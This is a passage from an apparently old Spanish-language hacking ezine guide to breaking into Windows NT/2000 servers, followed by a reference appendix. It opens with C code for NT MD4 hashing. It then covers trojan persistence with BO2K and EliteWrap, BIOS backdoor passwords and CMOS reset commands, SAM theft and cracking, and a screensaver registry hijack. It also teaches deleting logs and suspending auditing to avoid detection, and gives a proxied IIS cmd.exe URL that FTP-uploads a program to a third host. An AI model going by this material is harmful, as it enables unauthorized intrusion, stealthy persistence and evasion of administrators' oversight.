}


/* just what it says, I am getting tired
* This is a pretty lame way to do this, but it is more efficent than
* sscanf()
*/

int HexToBin(char* pHexString, uchar* pByteString, int count)
{
int i, j;

if (pHexString == NULL || pByteString == NULL)
{
fprintf(stderr,"A NULL pointer was passed to HexToBin()\n");
return FALSE;
}

/* clear the byte string */
memset(pByteString, 0, count);

/* for each hex char xor the byte with right value, we are targeting
* the low nibble
*/

for (i = 0, j = 0; i < (count * 2); i++)
{
switch (*(pHexString + i))
{
case '0': pByteString[j] ^= 0x00;
break;

case '1': pByteString[j] ^= 0x01;
break;

case '2': pByteString[j] ^= 0x02;
break;

case '3': pByteString[j] ^= 0x03;
break;

case '4': pByteString[j] ^= 0x04;
break;

case '5': pByteString[j] ^= 0x05;
break;

case '6': pByteString[j] ^= 0x06;
break;

case '7': pByteString[j] ^= 0x07;
break;

case '8': pByteString[j] ^= 0x08;
break;

case '9': pByteString[j] ^= 0x09;
break;

case 'a':
case 'A': pByteString[j] ^= 0x0A;
break;

case 'b':
case 'B': pByteString[j] ^= 0x0B;
break;

case 'c':
case 'C': pByteString[j] ^= 0x0C;
break;

case 'd':
case 'D': pByteString[j] ^= 0x0D;
break;

case 'e':
case 'E': pByteString[j] ^= 0x0E;
break;

case 'f':
case 'F': pByteString[j] ^= 0x0F;
break;

default: fprintf(stderr,"invalid character in NT MD4 string\n");
return FALSE;
}

/* I think I need to explain this ;) We want to incremet j for every
* two characters from the hex string and we also want to shift the
* low 4 bits up to the high 4 just as often, but we want to alternate
* The logic here is to xor the mask to set the low 4 bits, then shift
* those bits up and xor the next mask to set the bottom 4. Every 2
* hex chars for every one byte, get my screwy logic? I never was
* good at bit twiddling, and sscanf sucks for efficiency :(
*/

if (i%2)
{
j ++;
}
if ((i%2) == 0)
{
pByteString[j] <<= 4;
}
}

return TRUE;
}


/* the following functions are from the Samba source, and many thanks to the
* authors for their great work and contribution to the public source tree
*/


/* Routines for Windows NT MD4 Hash functions. */
static int _my_wcslen(int16 *str)
{
int len = 0;
while(*str++ != 0)
len++;
return len;
}

/*
* Convert a string into an NT UNICODE string.
* Note that regardless of processor type
* this must be in intel (little-endian)
* format.
*/

static int _my_mbstowcs(int16 *dst, uchar *src, int len)
{
int i;
int16 val;

for(i = 0; i < len; i++) {
val = *src;
SSVAL(dst,0,val);
dst++;
src++;
if(val == 0)
break;
}
return i;
}
<-->

-- Finaliza el codigo --



-=-



[ 10 - Herramientas de control remoto ]
-------------------------------------

Quienes lo han probado ya lo saben. Controlar una maquina remotamente con
todos los privilegios es un placer. Para ello, se puede optar por un par de
soluciones, controlar a la maquina por medio de troyanos o por herramientas
comerciales, por norma mas potentes que los anteriores, pero estos requieren
autentificacion, por lo que en principio solo pueden ser usados por personal
autorizado. Remarquese "en principio".

Aqui estudiaremos estas dos clases de software para controlar remotamente
una maquina. Veremos en profundidad el software comercial mas usado para
ello, repasando sus bugs y sus caracteristicas, y explicare las cualidades
de algunos troyanos para NT, cuales son sus ventajas/desventajas, etc.



[ 10.1 - Software comercial ]
---------------------------

Los programas de control remoto de terminales de pago, son por norma
mucho mas potentes en lo que a opciones se refiere que los troyanos. Estos
se usan bastante en empresas, donde el administrador no podra estar siempre
delante de la maquina, y quiere disfrutar de una gui remota, rapida, eficaz,
y segura, claro.

Los principales problemas de seguridad que suelen dar son: tener el
programa mal configurado, con contrase~as debiles, o que el programa tenga
un bug que no esta parcheado. Lo tipico.

Que sirva lo siguiente como comparativa de seguridad de los siguientes
programas.



[ 10.1.1 - Citrix ]
-----------------

Esta es una poderosa herramienta, que destaca sobretodo porque permite
ejecutar mandatos remotos en en servidor. Esto es bastante practico cuando
se quiere instalar de forma remota un parche de seguridad para el servidor,
etc., pero cualquiera con obscuras intenciones podria ejecutar algun troyano
o alguna herramienta que transforme el servidor en una calabaza.

Citrix no necesita tener abiertos los puertos 135 y 139 para el proceso
de autentificacion.


Puerto/s que usa: TCP: 1494.
UDP: 1494.

URL del fabricante: http://www.citrix.com



[ 10.1.2 - ControlIT ]
--------------------

Esta herramienta, nunca se caracterizo por una gran seguridad. En sus
primeras versiones guardaba en texto plano los nombres de usuarios y
contrase~as, y actualmente las codifica no de manera demasiado segura.

Tambien descuida el detalle de obligar a los usuarios a usar contrase~as
fuertes, de proteger los archivos de configuracion y perfiles bajo clave, y
tampoco registra los intentos de inicio de sesion fallidos, aparte de ser
vulnerable a la revelacion de contrase~a de la GUI.


Puerto/s que usa: TCP: 799. 800.
UDP: 800.
(permite utilizar otros puertos)

URL del fabricante: http://www.cai.com



[ 10.1.3 - Pc Anywhere ]
----------------------

Seguramente ya conocereis esta estupenda herramienta, quiza una de las
mas seguras. Y digo seguras porque obliga al usuario a usar contrase~as lo
suficientemente seguras como para evitar ser adivinadas, distintos metodos
de autentificacion, cifrado del trafico, un numero maximo de intentos de
inicio de sesion, el registro de intentos de intentos de sesion fallidos, el
cierre de sesion del usuario cuando este finalice su conexion, entre otras
cosas.

Sin embargo en estos ultimos dias, Manuel Molina Garcia dio constancia de
que se si se tienen permisos en la carpeta %systemroot%\symantec\pcanywhere\
DATA\ podemos a~adir perfiles. De esta manera podriamos crearnos una cuenta
en nuestra maquina con PcAnywhere que tuviera derechos administrativos, para
despues subirla al servidor en la carpeta especificada. De esa manera, se
tendria el control total de la maquina. Claro, algunos diran que para tener
derechos de escritura en esa carpeta debes ser administrador, y que si ya lo
eres, ya puedes controlar la maquina. Yo personalmente prefiero controlar
la maquina por un entorno grafico, con tantisimas posibilidades como Pc
Anywhere, y no conformarme con una shell de comandos.

Puerto/s que usa: TCP: 22, 5361, 5362, 65301.
UDP: 22, 5632.
(permite utilizar otros puertos)


URL del fabricante: http://www.symantec.com



[ 10.1.4 - Reach OUT ]
--------------------

Este otro programa, aunque es bastante comodo de usar, no es todo lo
seguro que cabria esperar, ya que no posee un sistema de autentificacion que
no sea el de Windows NT, no protege bajo contrase~a ni sus perfiles ni sus
archivos de configuracion.


Puerto/s que usa: TCP: 43188.
UDP: 43188.

URL del fabricante: http://www.stac.com



[ 10.1.5 - Remotely Anywhere ]
----------------------------

Este herramienta, pese a haber aparecido hace poco, es una de las mejores
herramientas de control remoto, y promete ser la mejor dentro de poco. Y eso
lo digo porque posee opciones realmente innovadoras dentro de su clase, como
la de poder controlar remotamente el servidor a traves de http... desde el
navegador mismo.

Respecto a la seguridad, posee la mayoria de medidas que Pc Anywhere,
excepto la de ofrecer una autentificacion distinta a la que trae NT, por lo
una vez se tienen los pass de la maquina se tienen los pass del programa.

Ademas posee la posibilidad de ejecutar aplicaciones locales en el
servidor, como citrix. Tambien podremos encontrar interesantes opciones como
la de bloquear selectivo de IP's autentificacion NTLM, etc...


Puerto/s que usa: TCP: 2000, 2001.
UDP: Ninguno.
(permite utilizar otros puertos)

URL del fabricante: http://www.remotelyanywhere.com



[ 10.1.6 - Timbuktu ]
-------------------

Este programa tiene las mismas caracteristicas de seguridad que incorpora
Pc Anywhere, a~adiendo un par de opciones de control mas, como son el poder
compartir la pantalla simultaneamente entre varios usuarios, la posibilidad
de ponerle caducidad a la contrase~a, etc.

Quizas, el mejor controlador de pc remoto del mundo (como la cerveza).


Puerto/s que usa: TCP: 407.
UDP: 407.

URL del fabricante: http://www.remotelyanywhere.com



[ 10.1.7 - VNC ]
--------------

Aunqyue haya metido a VNC en la seccion de software comercial, hay que
decir que este es totalmente gratis. Freeware. VNC son las siglas de Virtual
Network Computing.

Quiza su mayor aliciente sea que se puede instalar en muchos SO's, como
Windows 9x/NT/CE, Solaris, Linux e incluso Macintosh. VNC ademas posee una
interfaz java que se podra ver en cualquier navegador que soporte java, para
controlarlo por HTTP.

Cabe decir que VNC no es de los productos mas seguros ni mas completos,
ya que es subsceptible al ataque de revelacion de contrase~a, y carece de
otras opciones de seguridad de otras aplicaciones de control remoto. Sin
embargo, es practico y es freeware.


Puerto/s que usa: TCP: Del 5800, 5801, 5802, 5803...
UDP: Ninguno.

URL del fabricante: http://www.uk.research.att.com/vnc/faq.html



[ 10.2 - Troyanos ]
-----------------

Infectar a la maquina hackeada con algun troyano es la tipica forma de
asegurarse la estancia... durante cierto tiempo. Un troyano no pasara
inadvertido a los ojos del admin por mucho tiempo...

Sin embargo en una maquina medio descuidada por el admin, el instalar un
troyano suele servir bastante bien, aunque no es demasiado recomendable. Si
se opta por instalar uno, debe ser para troyanizar ciertos archivos del
sistema, y posteriormente desinstalar totalmente el troyano, para dejar una
puerta de entrada mas silenciosa.


[ 10.2.1 - Pros y contras ]
-------------------------

Las ventajas que tiene usar un troyano son que, con el cliente adecuado,
es muy comodo entrar y salir de este, ademas sin dejar huellas en el sistema
(esto es relativo, si el admin hace un "netstat -a -n" vera tu IP conectada
al puerto del troyano...).

Lo malo que tiene este metodo es que canta muchisimo... hay que ser algo
mas que un dscuidado para no darse cuenta de que se tiene abierto un puerto
"extra~o". Ademas, si estamos usando algun troyano de los ya "fichados", del
tipo BackOriffice 2K, sin haber modificado el codigo fuente, cualquier
Antivirus decente, o algun limpiatroyanos o similar lo detectara, y ahi lo
mejor que puede pasar es que el admin lo desinstale totalmente y no se ponga
a buscarte...



[ 10.2.3 - Comparativa ]
----------------------

En W2K/NT, el troyano mas potente es el Back Oriffice 2K, que ofrece una
gran cantidad de opciones de control sobre la maquina asediada, una gran
facilidad de uso, y una gran cantidad de addons sobre este. Ademas es Free
Source, por lo que podras modificarlo a placer...

Si se va a instalar un troyano en la maquina victima, no recomiendo el
uso de otros troyanos tipo NetBus, SubSeven, etc... u otro cualquiera a
menos que no hayais comprobado que funcionen correctamente bajo NTFS. NetBus
por ejemplo, trabaja torpemente con el sistema de archivos de NT, incapaz de
listar directorios y hacer otras operaciones rutinarias.

Quiza una de las soluciones mas inteligentes si se usan troyanos, es la
de usarlos junto EliteWrap. Dicha herramienta permite fusionar dos o mas
archivos en uno solo, de manera que cuandose ejecute uno el otro tambien lo
hara. Y decia inteligentes porque podriamos (es una idea) fusionar un
archivo de inicio de sesion (como winlogon.exe) o a un troyano, de esa
manera se podra borrar el troyano temporalmente, ya que cada vez que se
arranque el sistema el troyano se volvera a ejecutar...

Tambien se podria fusionar con un fichero de salvapantallas... etc. Los
intrusos con menos imaginacion seran los que caeran primero.



[ 10.2.4 - Resumen sobre las herramientas de control remoto ]
-----------------------------------------------------------

Como hemos visto, hay dos maneras de acceder remotamente a un servidor
mediante control remoto: usando software comercial o un troyano. Por poder,
podriamos haber usado un I-worm... pero eso ya seria irse demasiado. Quiza
para la proxima vez.

Si detectamos algun tipo de soft comercial de control remoto en alguna
maquina, podemos intentar acceder desde el cliente de dicha herramienta
(podriamos bajarnos las versiones shareware de estos) y probar ataques por
fuerza bruta, etc. Si lograramos acceso, podriamos desde nuestra maquina
a~adir un perfil con nuestro nombre de usuario y password, y subirlo a la
maquina hackeada para poder entrar desde nuestra propia cuenta. Esto
evitaria que se notase nuestra presencia si se logueasen las entradas desde
la cuenta hackeada.

Sobre los troyanos ya hemos visto lo basico... si quereis aprender mas
sobre estos, acudir a www.controltotal.org.



-=-



[ 12 - Rootkits ]
---------------

Un Rootkit es un conjunto de programas que parchean y troyanizan el
sistema operativo. No hay que confundir a estos con los troyanos. Usar
rootkits en el sistema objetivo es una de los metodos mas fiables para
mantener el acceso al mismo, sin dejar huellas.

Las posibilidades que aporta un rootkit son infinitas, desde troyanizar
el sistema de autentificacion para que de acceso a un usuario que no este
presente en el archivo de contrase~as (invisible desde la vista del propio
administrador), parchear un sistema de deteccion de intrusos (IDS), parchear
la auditoria para que no audite las acciones de segun que usuario, etc.

No voy a explicar como poder hacernos un rootkit, quiza en otra documento
nos pongamos a ello. Ello implicaria explicar desde el modo protegido del
i386, hasta el como trabaja el monitor de seguridad de referencia, etc.
Quizas en otro documento los trate detalladamente. Entonces, para que esta
seccion? he creido necesario ponerla para que el lector sepa que existen, y
si quiere profundizar mas en estos en las URL que se dan en el apendice. No
estaria bien hablar de estos sin poner un ejemplo de uno... el unico del que
tengo constancia que existe, el de rootkit.com. Dicho rootkit esta compuesto
por una gran cantidad de archivos, por lo que no espereis que meta en medio
del articulo el codigo fuente.

Aviso: No ejecutar el fichero deploy.exe sino se sabe bien lo que hace,
menos aun si esta en una maquina NT que hace de servidor a tantas
otras maquinas...



-=-



[ 13 - Resumen ]
--------------

He intentado explicar la mayoria de metodos para entrar en un NT, asi
como algunas formas de mantener nuestra estancia. Ahora profundizaremos un
poco mas en los dos metodos de hackeo, fisico y remoto. Alla vamos.



-=-



Parte III, Hacking fisico de NT
-------------------------------


[ 14 - Iniciacion ]
-----------------

Se dice que una maquina no es totalmente segura si esta no es totalmente
segura fisicamente. Y es cierto.

Muchos Administradores se centran exclusivamente en la seguridad de red,
no dando importancia a la seguridad fisica, olvidando que si el intruso
tiene acceso al servidor, tiene muchas posibilidades de obtener un control
total sobre el.

A continuacion repasaremos algunos metodos para asegurar nuestra sigilosa
estancia.



[ 15 - Consiguiendo acceso ]
--------------------------

Lo primero es conseguir el acceso al servidor fisico. Supongamos que ya
lo tenemos... normalmente el servidor estara vigilado, por lo que el
llevarse el disco duro no suena como medida viable, y se tendra que hackear
desde el sitio donde este la maquina.

Veamos uno de los principales problemas que suele haber al intentar
acceder al sistema, segundos despues de encenderlo; arranca el sistema y...



[ 15.1 - Saltandose la BIOS ]
---------------------------

Vaya, la BIOS nos pide contrase~a para arrancar el sistema. Lo normal
sera que no sepamos la clave y que no la adivinemos...

Aqui podemos optar por cuatro caminos principalmente. El primero seria,
cuando veais la maquina encendida y no haya peligro... le instalais un
crackeador de passwords de la BIOS y ale, a probar. Sin embargo lo mas
seguro sera que el due~o corra NT por el sistema de archivos nativo de NT,
el NTFS (el cual Falken explico en SET 15), por lo que, y como la mayoria
de crackeadores de passwords de la BIOS son para MS-DOS, pues no funcione.
Para ello podeis instalar un emulador de MS-DOS, y listos. Aqui teneis un
par de URL's que os serviran: http://www.password-crackers.com/crack.html y
http://neworder.box.sk, seccion utilidades/bios/cmos tools

La segunda opcion es mas disparatada... la tipica y mil veces explicada
solucion de quitarle la pila a la placa base y esperar a que la RAM CMOS se
descargue... ya que mantiene la informacion solo si esta recibiendo energia
constantemente. Si la maquina esta vigilada probar esta tecnica resulta
arriesgado... o por lo menos en mi opinion (IMO).

La tercera posibilidad es probar con los passwords de la siguiente lista,
los cuales fueron puestos por las compa~ias creadoras del modelo determinado
de bios por si al due~o se le olvidaba la contrase~a. Esta lista ha sido
recopilada por Nethan Einwechter y extraida de hack.co.za.


Tipo de BIOS Contrase~a
------------ ----------

AMI 589589
A.M.I.
aammii
AMI
AMI!SW
AMI.KEY
ami.kez
AMI?SW
AMI_SW
AMI
amiø
amiami
amidecod
AMIPSWD
amipswd
AMISETUP
bios310
BIOSPASS
CMOSPWD
helgaos [la 'o' con acento]
HEWITT RAND
KILLCMOS

Amptron Polrty

AST SnuFG5

Award ?award
º01322222
1EAAh
256256
589721
admin
alfarome
aLLy
aPAf
award
AWARD SW
award.sw
AWARD?SW

  
award_?
award_ps
AWARD_PW
AWARD_SW
awkward
BIOS
bios*
biosstar
CONCAT
condo
CONDO
djonet
efmukl
g6PJ
h6BB
HELGA-S
HEWITT RAND
HLT
j09F
j256
j262
j322
j64
lkw peter
lkwpeter
PASSWORD
SER
setup
SKY_FOX
SWITCHES_SW
Sxyz
SZYX
t0ch20x
t0ch88
TTPTHA
ttptha
TzqF
wodj
ZAAADA
zbaaaca
zjaaadc

Biostar Biostar
Q54arwms

Compaq Compaq

Concord last

CTX International CTX_123

CyberMax Congress

Daewoo Daewuu

Daytek Daytec

Dell Dell

Digital Equipment komprie

Enox xo11nE

Epox central

Freetech Posterie

HP Vectra hewlpack

IBM IBM
MBIUO
sertafu

Iwill iwill

JetWay spoom1

Joss Technology 57gbz6
technologi

M technology mMmM

MachSpeed sp99dd

Magic-Pro prost

Megastar star

Micron sldkj754
xyzall

Micronics dn_04rjc

Nimble xdfk9874t3

Packard Bell Bell9

QDI QDI

Quantex teX1
xljlbj

Research Col2ogro2

Shuttle Spacve

Siemens Nixdorf SKY_FOX

SpeedEasy lesarot1

SuperMicro ksdjfg934t

Tinys tiny

TMC BIGO

Toshiba 24Banc81
Toshiba
toshy99

Vextrec Technology Vextrex

Vobis merlin

WIMBIOSnbsp BIOS v2.10 Compleri

Zenith 3098z
Zenith

ZEOS zeosx


La cuarta opcion seria desde MS-DOS reinicializar la BIOS. Para ello, una
vez tengais acceso a la maquina en windows/ms-dos, podeis usar el debug e
introducir las siguientes instrucciones:


Tipo de BIOS Instrucciones
------------ -------------
AMI y Award O 70 17
O 71 17
Q

Phoenix O 70 FF
O 71 17
Q

*CUALQUIERA* O 70 2E
O 71 FF
Q



[ 16 - Obteniendo las SAM ]
-------------------------

Supongamos que ya hemos entrado... ahora el sistema arranca... llegamos a
la tipica ventana de autentificacion que nos pide que introduzcamos un
nombre de usuario y contrase~a. El unico problema seguramente sera que si
sabemos el nombre de usuario que queramos atacar (y sino, NT por defecto
deja el login del ultimo usuario que entro localmente), pero no sabemos la
contrase~a. No hay nada a hacer... todo esta perdido? ni por asomo.

Si ese es nuestro caso lo que debemos de hacer es arrancar el sistema con
un disquete que traiga MS-DOS (no importa demasiado la version...) y un
programa llamado NTFSDOS. Dicho programa permite leer particiones NTFS desde
el disquete... y asi sacar, por ejemplo, el fichero SAM(*) del directorio
WinNT/repair/

Hay mas formas de conseguir las SAM... por ejemplo, instalando un
sniffer, etc... las posibilidades son muchas y variadas, pero la mas tipica
en un hack local es esta. Para encontrar sniffers para NT pasaros por el
apendice.

Luego, una vez ya tengamos el SAM, podemos probar crackearlo con algun
crackeador de SAM's, como por ejemplo el L0pht Crack.

Una vez desencriptada la cuenta de Administrador (o una cuenta con
privilegios de administrador) ya podremos pasar a la siguiente etapa en la
intrusion.

* En NT 4, la copia del fichero SAM estaba en WinNT/repair/sam._ , a
diferencia que en W2K, en la que se ha renombrado de sam._ a sam.



[ 17 - Asegurandonos la estancia ]
--------------------------------

Hay muchas maneras de asegurarnos la estancia en la maquina accediendo
localmente a esta.

Podemos optar por no instalar ninguna aplicacion, dejar el sistema como
estaba... o bueno, casi. En este caso cambiariamos unas determinadas claves
del registro, de manera que cuando en el proceso de autentificacion el
teclado este inactivo durante un tiempo determinado, se ejecute, en lugar de
un salvapantallas, un programa que nosotros elijamos... que tal cmd.exe? si,
ya se que no tendremos privilegios administrativos, que no podremos movernos
por los directorios que queramos, etc. Pero podremos copiar el fichero SAM
a nuestro disquete... de manera que aunque el administrador cambie las
claves nosotros podremos seguir entrando.

- La clave donde se almacena el nombre del archivo a ejecutar es:
HKEY_USERS\.DEFAULT\Control Panel\Desktop\SCRNSAVE.EXE

- La clave que decide el tiempo que debe pasar para que se ejecute dicha
aplicacion se encuentra en:
HKEY_USERS\.DEFAULT\Control Panel\Desktop\ScreenSaveTimeOut

Sin embargo mientras quede imaginacion habran muchas mas formas de retener
nuestra estancia localmente, como con el EliteWrap fusionar explorer.exe con
algun ejecutable que cumpla unas funciones determinadas... etc.

Recordad que el codigo que se ejecuta no se ejecutara con privilegios de
sistema, por lo si, por ejemplo, adjuntais un .bat que os cree una cuenta en
el sistema, no tendreis privilegios para ello.



[ 18 - Borrando las huellas ]
---------------------------

Es bastante probable que durante nuestras andanzas no hayamos dejado algun
log, por lo que se hace vital el borrar cualquier rastro que pueda ayudar a
que nos descubran, y en el mejor de los casos, solo nos cierren el acceso.

Depende de las acciones que hayamos hecho en el sistema se habran mas o
menos logs en los que figuraremos, los cuales pueden ser mas o menos
relevantes... veamos.

En el registro se halla gran parte de la configuracion de la auditoria del
sistema. Eliminando unas cuentas claves habremos "capado" la auditoria.

A continuacion muestro la ruta de las claves que juegan algun papel en la
auditoria.

- Esta registra los sucesos relacionados con objetos y carpetas:
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Lsa\AuditBaseObjects

- Esta otra los permisos:
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Lsa\
FullPrivilegeAuditing

- Esta decide si el sistema se apagara al llegar a un limite de logs (*):
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Lsa\CrashOnAuditFail

* Es asi porque Windows NT (cumpliendo las normas del C2) puede ponerse
inactivo si se llega a un tama~o determinado en el archivo de logs. Esto
podria salvar al sistema de ataques DoS, e incluso para avisar de la
existencia de un intruso (cuando se ataca un sistema NT generalmente se
generan gran cantidad de logs).

Sin embargo tambien podemos usar para ello el registro de sucesos, y
borrar desde alli nuestros logs.

Una vez borrados los logs, si queremos que la auditoria siga en curso pero
no quereis dejar huellas, podeis utilizar la herramienta auditpol (ver
seccion herramientas) para suspender la auditoria, hacer vuestra labor, y
reanudarla con la misma configuracion de antes, sin que tus acciones se vean
figuradas en el visor de sucesos.

Ademas de esto, podemos borrar la historia de algunas aplicaciones
integradas de NT en Inicio/Configuracion/Barra de tareas y menu Inicio/
Opciones avanzadas/Borrar.

Con esto no deberia quedar ninguna huella... si lo hemos hecho bien.



[ 19 - Resumen ]
--------------

Como se ha visto, la seguridad fisica de NT es un punto que hay que
vigilar mucho, ya que el saltarse una seguridad fisica mediocre pasa por ser
puro tramite.



-=-



Parte IV, Hacking remoto de NT
-------------------------------



[ 20 - Enumeracion de fallos ]
----------------------------

Lo primero que se hace cuando se quiere hackear un sistema, normalmente
es la ganancia de informacion. Sin embargo esto no requiere demasiadas
explicaciones asi que perdonadme que me lo salte. Nos iremos directo a la
enumeracion de fallos en el sistema, para trazar el camino de la intrusion.

La mayor parte de la informacion del sistema la vamos a sacar gracias a
los escaneadores de vulnerabilidades que hay en el mercado. Si alguien desea
saber como se logra dicha informacion, aprender sobre el recurso IPC$, etc.,
que se pase por el apendice.

Para auditar al host podemos valernos de varias herramientas de escaneo
de vulnerabilidades, o hacerlo manual. Como que hacerlo manual es harto
pesado, utilizaremos Retina para estos fines. Dicho escaneador es bastante
completo y eficaz.

Si os lo estais preguntando, no voy a explicar como usarlo... no creo que
haga falta explicar una herramienta tan sencilla y tan visual.

Podriamos tambien probar con algun escaneador de cgis (aunque retina se
se encarga tambien de esta funcion), etc. Herramientas hay de sobras.



[ 21 - Incursion en el sistema ]
------------------------------

Obviamente, depende de la vulnerabilidad que explotemos habra una forma
de entrar u otra. Entonces, para que pongo esto?, pues para decir que sea
cual sea la forma del ataque, ojo con las huellas, que tanto los ataques por
NetBIOS, como las entradas por FTP y las peticiones HTTP pueden generar logs
con vuestra IP... asi que id con ojo, si vais a hacer entradas por FTP, usar
alguna shell remota para ello, o por lo menos no lo hagais desde vuestra
casa. Si es necesario hacedlo en un cyber aunque tampoco es demasiada buena
idea. Tambien cabe la posibilidad de que useis el ataque PIPE HTTP, que ya
explico Cheesy en su dia, pero que por las moscas lo volvere a mostrar.

Este se basa en hacer que desde una maquina que no sea tuya (maquina B)
se ataque a una maquina cualquiera (maquina C), de manera que en la maquina
C no salgan logs de tu maquina...

Lo esencial es que tengamos el control de maquina b, para copiar cmd.exe
a un directorio virtual. Ademas de eso necesitaremos subir un fichero en el
que se incluyan los comandos que vayamos a usar por orden en la maquina C
separados por un retorno de carro.

Imaginemos que hemos subido cmd.exe a la carpeta Scripts de la rama de
InetPub. Esto quedaria asi:

http://www.maquina.com/cgi-bin/scripts/cmd.exe?/c:%20c:\winnt\system32\
ftp.exe%20-s:comandos.txt%20www.maquinaC.es

De manera que en maquina.com se ejecutaria cmd.exe pasandole como
argumento la ejecucion de ftp.exe a la maquinaC con los comandos a ejecutar
definidos en un fichero llamado comandos.txt, situado en el mismo directorio
que ftp.exe.

El fichero comandos.txt podria contener algo asi como:

Anonymous
me_suelen_decir_que_miento@demasiado.com
Put programa.exe
rename programa.exe iishelp.exe
Bye

No se si os habeis fijado en que a cmd.exe le pasamos como argumento el
parametro /c , lo que indica que nada mas cumplir con su tarea cerrara el
proceso creado por este. Muy util.



[ 22 - Asegurando nuestra estancia ]
----------------------------------

Una vez se ha hackeado el sistema, se querra volver a entrar, y seria muy
pesado tener que volver a explotar el bug por el que entramos cada vez que
se quiera volver a controlarlo.

Una solucion facilona seria la de introducir un troyano... pero eso canta
que da gusto, a minimamente inteligente que sea el admin, si ve un puerto
cuya funcion desconoce... podria mosquearse. Si se opta por esta opcion,
recomiendo por usar el Back Oriffice 2000 (BO2K), y si le podemos editar
ciertos aspectos como el puerto, etc. mejor para que no salte tanto a la
vista (recordad que el codigo fuente de BO2K lo podreis encontrar en
bo2k.com). Tambien podriamos optar por un keylogger, o un Rootkit, cada uno
sabra que usar.



[ 23 - Borrado de huellas ]
-------------------------

Estamos en las mismas que al principio; depende del bug que hayamos
explotado habra mas o menos logs. Pero basicamente todo se reduce a borrar
los logs de %systemroot%\system32\LogFiles. Sin embargo tambien convendria
que les dierais un repaso a todos los logs que veais guardan algo de
relacion con vosotros... para eso nada mejor que, desde consola y desde el
directorio raiz, hacer un dir /s *.log > resultado.txt y mirarse el fichero
resultado para ver que ficheros de log hay... y a los .evt (ficheros de
registro de sucesos) tambien se les deberia de dar un repaso en caso de que
se estuvieran auditando vuestros movimientos.



[ 24 - Conclusiones ]
-------------------

Seria totalmente imposible definir todos los metodos de hackeo remoto a
un NT, por lo que se ha dicho en esta seccion no es mucho, pero sirve para
comprender que no se ha de dejar ningun rastro, y como hacerlo. Que sirva
como guia de supervivencia del hack remoto ;-). Sin embargo, si fuerais a
intentar hackear un servidor, deberiais primero planear todas vuestros
movimientos y la forma de evitar ser rastreado. Ante todo, sed listos, usad
una linea limpia si vais a hacer "cosas malas".



-=-



Parte V, Apendice y conclusion final
------------------------------------



[ 25 - Apendice ]
---------------

Este documento se ha basado en cantidad de informacion extraida de webs,
documentos, libros, etc. A continuacion muestro todas las referencias que me
han servido de ayuda para completar este documento.



[ 25.1 - Webs ]
-------------

# En castellano:

General

[1] Proyecto Enete: http://enete.us.es
[2] Hispasec: http://www.hispasec.com
[3] Inseguridad.org: http://www.inseguridad.org
[4] Networking Center: http://www.networking-center.org


Ezines

[5] SET: http://www.set-ezine.org
[6] 7a69: http://www.7a69ezine.8m.com
[7] Netsearch: http://www.netsearch-ezine.com
[8] JJF: http://www.jjf.org



# En ingles:

General

[8] Windows 2000 Magazine: http://www.winntmag.com
[9] SysInternals: http://www.sysinternals.com
[10] NT Security: http://www.ntsecurity.net
[11] NT Bugtraq: http://www.ntbugtraq.com
[12] Packetstorm: http://packetstorm.securify.com
[13] L0pht: http://www.l0pth.com
[14] ISS: http://www.iss.net
[15] eEye: http://www.eeye.com
[16] WebTrends: http://www.webtrends.com
[17] AntiOnline: http://www.antionline.com
[18] cDc: http://www.cultdeadcow.com
[19] Security Focus: http://www.securityfocus.com
[20] Rhino9: http://www.technotronic.com/rhino9/

Exploits

[21] Security Bugware: http://161.53.42.3/~crv/security/bugs/new.html
[22] NT Exploits: http://www.dhp.com/~fyodor/sploits_microshit.html
[23] r00tshell: http://www.rootshell.com
[24] NT Bugtraq Known Exploits: http://www.ntbugtraq.com/ntexploits.htm
[25] ISS Security Library: http://www.iss.net/vd/nt_vulnerabilities.html


E-zines

[26] Phrack: http://phrack.infonexus.com
[27] The Havoc Technical Journal: http://www.technotronic.com/ezines
[28] Underground Periodical: http://packetstorm.securify.com
[29] Camarilla: http://packetstorm.securify.com
[30] Keen Veracity: packetstorm.securify.com
[31] Digital Defiance: http://www.hackernews.com



[ 25.2 - Listas de correo ]
-------------------------

- Nota: todos los mensajes que se deben mandar para subscribirse a las
siguientes listas de correo deben ser en texto sin formato y
sin asunto.


En espa~ol:

[32] Lista de argo.
Para subscribirse: Mail a majordomo@argo.es con el siguiente texto en
el cuerpo del mensaje: "subscribe hacking".

En ingles:

[33] Bugtraq.
Para subscribirse: Mail a listserv@securityfocus.com con el siguiente
texto en el cuerpo del mensaje: "subscribe bugtraq nombre apellido".

[34] NT Bugtraq.
Para subscribirse: Mail a listserv@listserv.ntbugtraq.com con el
siguiente texto en el cuerpo del mensaje: "subscribe ntbugtraq nombre
apellido"
.

[35] NT Security.
Para subscribirse: Mail a majordomo@iss.net con el siguiente texto en
el cuerpo del mensaje: "subscribe ntsecurity tu email".



[ 25.3 - Grupos de noticias ]
---------------------------

[36] Una-al-dia.
Grupo de noticias de hispasec (http://www.hispasec.com) que cada dia
manda una noticia referente a las novedades sobre seguridad
informatica que han acontecido.



[ 25.4 - Demas documentos en la red ]
-----------------------------------

[37] + Titulo: "Hacking NT"
+ Autor: Chessy.
+ Localizable en: http://www.set-ezine.org
+ Comentarios: Un documento regio, totalmente indispensable.

[38] + Titulo: "Hackejar Windows NT amb acces fisic a la maquina"
+ Autor: Alex Castan Salinas.
+ Localizable en: http://www.sindominio.net/cathack
+ Comentarios: Un muy buen documento que explica detalladamente los
metodos de hackeo fisico a NT.

[39] + Titulo: "Significado de NetBIOS"
+ Autor: {CyBoRg}
+ Localizable en: http://www.jjf.org
+ Comentarios: Un buen texto sobre NetBIOS que no deberiais pasar por
alto.

[40] + Titulo: "Mi amigo el IIS"
+ Autor: ThEye
+ Localizable en: http://fye_ezine.vicio.org
+ Comentarios: Estupendo documento que explica las opciones de IIS,
sus peculiariades, etc. De recomendada lectura.

[42] + Titulo: "Windows NT para Dummies"
+ Autor: PlaXiuS
+ Localizable en: http://www.cdlr.org
+ Comentarios: Para aquellos que empiecen a adentrarse en el mundo de
NT desde 0, encontraran aqui una valiosa referencia.

[43] + Titulo: "Como crear un servidor seguro con Windows NT"
+ Autor: PlaXiuS
+ Localizable en: http://www.cdlr.org
+ Comentarios: Aqui se explica detallademente como proteger un poquito
mas nuestro servidor NT. Bastante completito.

[44] + Titulo: "Como hackear servidores NT a traves de Internet"
+ Autor: PlaXiuS
+ Localizable en: http://www.cdlr.org
+ Comentarios: Un texto bastante majo que trata algunas tecnicas de
intrusion a NT a traves de internet.

